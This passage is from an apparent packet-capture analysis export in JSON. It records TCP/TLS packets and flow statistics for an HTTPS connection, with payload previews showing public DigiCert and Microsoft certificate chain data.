962448800, \"tcp_ack\": 4197194045, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 102, \"timestamp\": 1781446970.974326, \"timestamp_iso\": \"2026-06-14T19:52:50.974326\", \"timestamp_human\": \"2026-06-14 19:52:50.974\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44962, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448800, \"tcp_ack\": 4197194045, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 105, \"timestamp\": 1781446971.425372, \"timestamp_iso\": \"2026-06-14T19:52:51.425372\", \"timestamp_human\": \"2026-06-14 19:52:51.425\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44963, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448864, \"tcp_ack\": 4197194704, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 106, \"timestamp\": 1781446971.427797, \"timestamp_iso\": \"2026-06-14T19:52:51.427797\", \"timestamp_human\": \"2026-06-14 19:52:51.427\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44964, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448864, \"tcp_ack\": 4197194704, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 109, \"timestamp\": 1781446971.929735, \"timestamp_iso\": \"2026-06-14T19:52:51.929735\", \"timestamp_human\": \"2026-06-14 19:52:51.929\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44965, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448934, \"tcp_ack\": 4197195332, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 111, \"timestamp\": 1781446971.936602, \"timestamp_iso\": \"2026-06-14T19:52:51.936602\", \"timestamp_human\": \"2026-06-14 19:52:51.936\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44966, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448934, \"tcp_ack\": 4197195332, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 15, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 262, 54, 54, 212, 54, 141, 170, 92, 54, 118, 54, 124, 54, 54], \"inter_packet_intervals\": [0.000225067138671875, 0.00023603439331054688, 0.34583187103271484, 8.106231689453125e-05, 0.009306907653808594, 0.45813703536987305, 0.0009560585021972656, 3.409385681152344e-05, 4.696846008300781e-05, 0.355741024017334, 0.0005087852478027344, 0.4510459899902344, 0.0024251937866210938, 0.5019378662109375, 0.006867170333862305], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.1333811283111572, \"avg_packet_size\": 101.0625, \"packets_per_second\": 7.499831974545513, \"bytes_per_second\": 757.9517689275059, \"min_packet_size\": 54, \"max_packet_size\": 262, \"median_packet_size\": 66, \"avg_interval\": 0.14222540855407714, \"min_interval\": 3.409385681152344e-05, \"max_interval\": 0.5019378662109375}, {\"source\": \"40.98.16.46\", \"target\": \"10.152.152.11\", \"packet_count\": 15, \"total_bytes\": 11756, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [64014], \"first_packet\": 1781446969.803242, \"last_packet\": 1781446971.929387, \"packets\": [{\"packet_number\": 81, \"timestamp\": 1781446969.803242, \"timestamp_iso\": \"2026-06-14T19:52:49.803242\", \"timestamp_human\": \"2026-06-14 19:52:49.803\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197184397, \"tcp_ack\": 962448193, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 84, \"timestamp\": 1781446969.803688, \"timestamp_iso\": \"2026-06-14T19:52:49.803688\", \"timestamp_human\": \"2026-06-14 19:52:49.803\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32787, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197184398, \"tcp_ack\": 962448401, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 85, \"timestamp\": 1781446970.149226, \"timestamp_iso\": \"2026-06-14T19:52:50.149226\", \"timestamp_human\": \"2026-06-14 19:52:50.149\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32788, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197184398, \"tcp_ack\": 962448401, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 86, \"timestamp\": 1781446970.14923, \"timestamp_iso\": \"2026-06-14T19:52:50.149230\", \"timestamp_human\": \"2026-06-14 19:52:50.149\", \"size\": 2974, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32791, \"ip_len\": 2960, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197188446, \"tcp_ack\": 962448401, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2920, \"payload_preview\": \"7b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414e2cab40b0a70a5b33530fee4548669e9464f3ab8180f32303236303631333133353234345a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333130313330395aa011180f32303236303632313130333330395aa120301e301c06092b0601040182371504040f170d3236303631373130323330395a300d06092a864886f70d01010b05000382010100bdff9c5a5b6d24e8fe6a339a508bb53da7de72718215c87279b77817d85cd950c126bc66970cfcd81d6fbb4cff737c298392e308a36702ddb2c3965e0b1a721a7fe1c442d6579f800cb2abbe69b46aba0ee7e7180ea770a25c069f3badc6d85316f6d73cb0a507e50cb1c49e586cf1c4172959141220ef47a5d72a9850bf329a87afd99223e43f1e4ee26ccf594d98d8522acb293105f6e0e82e2af6a79f657d1f0d0164594db56bc0237377ea2bf9fc224e09d1941d448a5a6e99c7b1c654d94dd57781dce0a33e305eba1faaa0fcf190a31d9d9165f996af1644d9fff56c72a7b22f27d2b15ff827c7775edcdf169ed2e1ffb4d9b1ba1cdd5543f545f78e13a082053d30820539308205353082031da0030201020213430059494d74f16a9c2373d32200000059494d300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100dbc738a417a65160b72a63a87adb53b3576fc4acbddcd68988bfbe2d3391905251046663010dc9e6d8727cabf3c5ed6431ebdf7726146c95d3df8a714507cb9426489640dbfbe781b725f40074cae608a7d8844921daeaff7e762be5dd30f8a2cb7ccde38f9b2e36687c98ebb850d50e94a89af3edc8bb56fda9aaeef4e3937631702b8715635fa73ee2a5dfa334977c0985d44d2251c22d2554f5113328d2636ab9cd49d0056a4ca9fada84279f5d9c0f15e99194dad6faf2fa4fca7a9030d1bfa85466f3bc59a036bbf3fd7f18d978147b6a0a\", \"payload_ascii\": \"{g\\u001bPO\\u001e#3'[o\\u0014K\\u0007\\u001a\\fP\\u000eO\\u0010\\\"*\\u001dK\\u0015\\u00016\\t\\u000bCON~\\\\k.I>R?q$/7lt\\u0006!Pgp$\\u0015\\u000b\\\"'\\u0003|f\\u0004U\\u0011!\\nr\\u007fe`PI#H :&\\u0017\\u0014=L<D\\u007f\\u0013\\u0014{3=\\u0010^d'=\\fLqfNdT+\\u0003g7\\nc :.B\\\"\\\"&U0\\u0015B66RsgzsnT\\u001fm'P\\u001cT)M\\u001f\\u0014d\\u007fG1ey}\\u0014\\u0019v;(\\u0000Do$W\\u0007Z\\u0000XV\\u000b\\buq\\u001bS\\\"Lk]DY<$k}_JMTv(MEte\\u0010`!y_\\u0017\\u0000Y<'wV\\u0007=\\u000fY\\u0016XHl}\\u00162\\u0016-e\\u0000\\u000e\\u0002\\u001b(1w46%\\u0000\\u00050\\u00050\\u0004q\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\u000b\\fk,Fi\\u0017GsG0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r250521000000Z\\u0017\\r290619235959Z0Q1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1\\\"0 \\u0006\\u0003U\\u0004\\u0003\\u0013\\u0019Microsoft TLS RSA Root G20\\u0002\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0002\\u000f\\u00000\\u0002\\n\\u0002\\u0002\\u0001\\u0000G(\\u0010qA\\u0019Wk.:`\\u0013[2\\u000b{r'k]@\\u0018\\u0006\\r\\u0012t\\u007f/\\u00173\\u0016W |!NdZKu\\u0002dMR\\u0004?\\u0019NE9^)g\\u0000J\\u00189\\t3A\\u0005\\u0003\\u0005uS!\\\\DL`W\\u0002\\u00042JQ?6/oL9\\u0004i\\\";u\\u0014>\\u0007A8~FH\\u001d\\u0019p\\u0018r~}lN\\u0019p\\u0011\\u0004\\u0013bk\\u001c1Kk3\\u001bJ_\\u000e\\u007f1v8?\\u0007Gl\\u0001\\u0014_\\u001fl\\u001a\\u0012*{\\u001f(.1\\u0016SLuf}\\u0001`e1r-D\\u0019Wn.er-~I\\u001dYg\\t\\u0018\\u0012mEx`j\\u0006$;sJZ\\u0011>ax\\u00130J8-X\\u0017\\u0013 6*\\u000b28\\u0012E|\\u001dbq\\u0012\\u0015\\u0001\\n\\t8B4i\\u0016sCCXO=:@8\\u0015\\fd\\u001acU\\tZ\\u0004>\\u0015d\\u0011\\u001b\\u000eMEe\\u0007%\\u001f[P\\u0004\\u001c] gyo r0u'5\\u0002\\u0003\\u0001\\u0000\\u0001\\u0001K0\\u0001G0\\u000f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00050\\u0003\\u0001\\u00010\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014H1Y1K_\\u0007yv0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u000b+7tK6\\u00026\\u0013\\u001bDT\\u0000A\\u001aF\\u000bv4Ub5\\fZbCJ\\u001dk\\u001d\\u0019%fyn[%$y-5_B\\txe P\\u0010j:\\u0018H\\t\\u0006u\\u0016'%Z:pl\\u0018GcS\\u000e\\u00155 =\\u0013\\u0001$\\bEVwg1BW\\u001a&CWc:{K\\u0010fgg\\tL\\u0019+\\\"=}c8,V\\tRomk\\bA/>1|JaFF(Wow%{);ry\\u0011Tm5+z\\u0016\\u0000\\u0007C\\u0001\\u0000\\u0007?0\\u0007;\\n\\u0001\\u0000\\u000740\\u00070\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u0007!0\\u0007\\u001d0\\u0016\\u0004\\u0014\\u000b\\np50TiFO:\\u0018\\u000f20260613135244Z000L0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014\\u0015j\\tmH\\u000bxKgW\\u0004\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe\\u0002\\u0013C\\u0000\\n\\u0003T\\u001f\\u000f\\u0000\\u0000\\u0000\\n\\u0003\\u0000\\u0018\\u000f20260613101309Z\\u0011\\u0018\\u000f20260621103309Z 0\\u001e0\\u001c\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0004\\u0004\\u000f\\u0017\\r260617102309Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000Z[m$j3P=rq\\u0015ryx\\u0017\\\\P&f\\f\\u001doLs|)\\bg\\u0002^\\u000b\\u001ar\\u001a\\u007fBW\\fij\\u000e\\u0018\\u000ep\\\\\\u0006;S\\u0016<\\u0007\\fXl\\u0017)Y\\u0014\\u0012 G*P2#?\\u001eNlYMR*)1\\u0005.*e}\\u001f\\r\\u0001dYMk#sw+\\\"N\\t\\u001dDZnTMw>0^\\u001f\\u001de\\u0016Dlr/'_'w^\\u0016\\u001cUCE\\u0013\\u0005=0\\u000590\\u000550\\u0003\\u001d\\u0003\\u0002\\u0001\\u0002\\u0002\\u0013C\\u0000YIMtj#s\\\"\\u0000\\u0000\\u0000YIM0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000W1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1(0&\\u0006\\u0003U\\u0004\\u0003\\u0013\\u001fMicrosoft TLS G2 RSA CA OCSP 040\\u001e\\u0017\\r260612155022Z\\u0017\\r260712155022Z0n1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u000b0\\t\\u0006\\u0003U\\u0004\\b\\u0013\\u0002WA1\\u00100\\u000e\\u0006\\u0003U\\u0004\\u0007\\u0013\\u0007Redmond1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017TLS-G2-RSA-04 OCSP Cert0\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u00008\\u0017Q`*czSWo-3RQ\\u0004fc\\u0001\\rr|d1w&\\u0014lqE\\u0007&H@%\\u0000t\\bI!~v+0|.6h|P\\u000eVv1p+\\u0015c_>4|\\tM\\\"Q-%T\\u00113(cjI\\u0005jL']\\u000f\\u0015Oz0TfY6\\u007f\\u0018x\\u0014{j\\n\"}, {\"packet_number\": 88, \"timestamp\": 1781446970.14952, \"timestamp_iso\": \"2026-06-14T19:52:50.149520\", \"timestamp_human\": \"2026-06-14 19:52:50.149\", \"size\": 1233, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32793, \"ip_len\": 1219, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197191366, \"tcp_ack\": 962448401, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 1179, \"payload_preview\": \"69a7db7f6574e0300ce167410f85b89ac50aa80a36f0eef2c3b2d0ddb7abbf8e0da289a34bdeb5f560f12b010203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414e2cab40b0a70a5b33530fee4548669e9464f3ab8301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004d4645825ff4080daccbb516d653340862f875651fe2d102254fa29eecea9270a59e4d36b90235e47e430be05480ff04846d6a4cfd1e2eedbf179500ee428669347d5471dde21bdc19cd3eebdbd2b8ba9f0641ed12753f7d27f7aec0c0aae30696bd9fd13f0fd7e1d610ce384abe13af4914f79c1e912048abee625746e86ce645b4e53f43680eb327489e55fca560447bf1db90fc45d60940549c78cfddce26d7a3dc8bf629d7f83a458ce71a0755891a42329adf14c9c19ad21bca16da2e2bbb7b594f6d47f1dd9e254938ce4e950e78ca6a33271d5a20b53aae43dfcf8124338af9e8013bd749d5c3fc13b2637c287a886697a8c1b0902ecb3e34e006a6e0df58634f60cdead0f0cf538fa9d282c91084ec4d2da3504ae35641dde9af10f32c0aa5a1a549947bab82a7b6989c34edb3a95779582ea3e0014978f2ee0496d6bb50d4212de0630dc98b8be2d880ad934491a4100bc032e8f75c713748f2eec7b8d49f8e46a1335f1eb07e543da0982ba3a2063033b9f0e0c43b0d7b757124446f0ae72074a99b717a9800582d4be8a15ef6f4a433866b044d6b855b56e054190c69c01b7029da574b8c7ed775c2c63bf4b51d2ef29d852485281b78aa1c3c8637ed98ba4bd0051205dee8bcc8f3b25e445b7961053b19a1ddacedca6aaa89011effbbe7ae39139106a6e918045d488081d7023e473c68be7ba2126d6b4720320c00016903001861041f049dcd138b3efeae2e61046dadc125689ec535078651d6849e75605863991cc4dcb261de085a48951bc95eb4b1aa019728071af9872fa956e4ec620188cb6c1df6036a3a0050d36dd6c70a48ed671b473cb88042df1a671a3cbc6940aad58308040100a5c009df8e4e907d5fa197d056be82944005d3a7a3bcc95f6367f90db855d90dfe91f5a6046e90f0a709ea5cc2caa9cf75207ceb317e50cec00f1b1d83a50e0a02973305bfb331ef22e9f8cf1ea94eb3e8dfa1a3212b02fd32020130c6c290831d81a27213ce5fbe5e0d43d48cbf00d3497cbe4f30a41cbd7fbac3930942f299afac27dc404f21eeee58e4148229bf720cbf8e2d1a5893e12923c40879e4f7c08044f34de28d8d7d24bce53320e37cf1d66bc032672469b7cab5cc071a4d8f56a3d9fbb8efd3b5006b3a77b15dfc22af0590a9acb2e61a21494d3256034a254e51bc2508ec7a73b3f4026bcb0f22afb2a2bd87420099882a8f8a1bd60915a02c0e000000\", \"payload_ascii\": \"i\\u007fet0\\fgA\\u000f\\n\\n6\\rK`+\\u0001\\u0002\\u0003\\u0001\\u0000\\u000100\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014\\u000b\\np50TiFO:0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00070<\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0007\\u0004/0-\\u0006%+\\u0006\\u0001\\u0004\\u00017\\u0015\\b\\u001bF.\\f\\u001d]\\\"\\u001f\\u0002\\u0001d\\u0002\\u0001\\u00180\\u001b\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\n\\u0004\\u000e0\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u000f\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0005\\u0004\\u0002\\u0005\\u00000\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000MFE_\\b\\r\\u0016S4\\bbue\\u001f\\u0002%OpM6\\u00025~C\\u000bT\\u0004mjL\\u001e.\\u0017\\u0000Bi4}Tq\\u001b\\u0019>\\u0006A\\u0012u?}'\\u0006?\\u000f\\u00108J\\u0013I\\u0014\\u001e 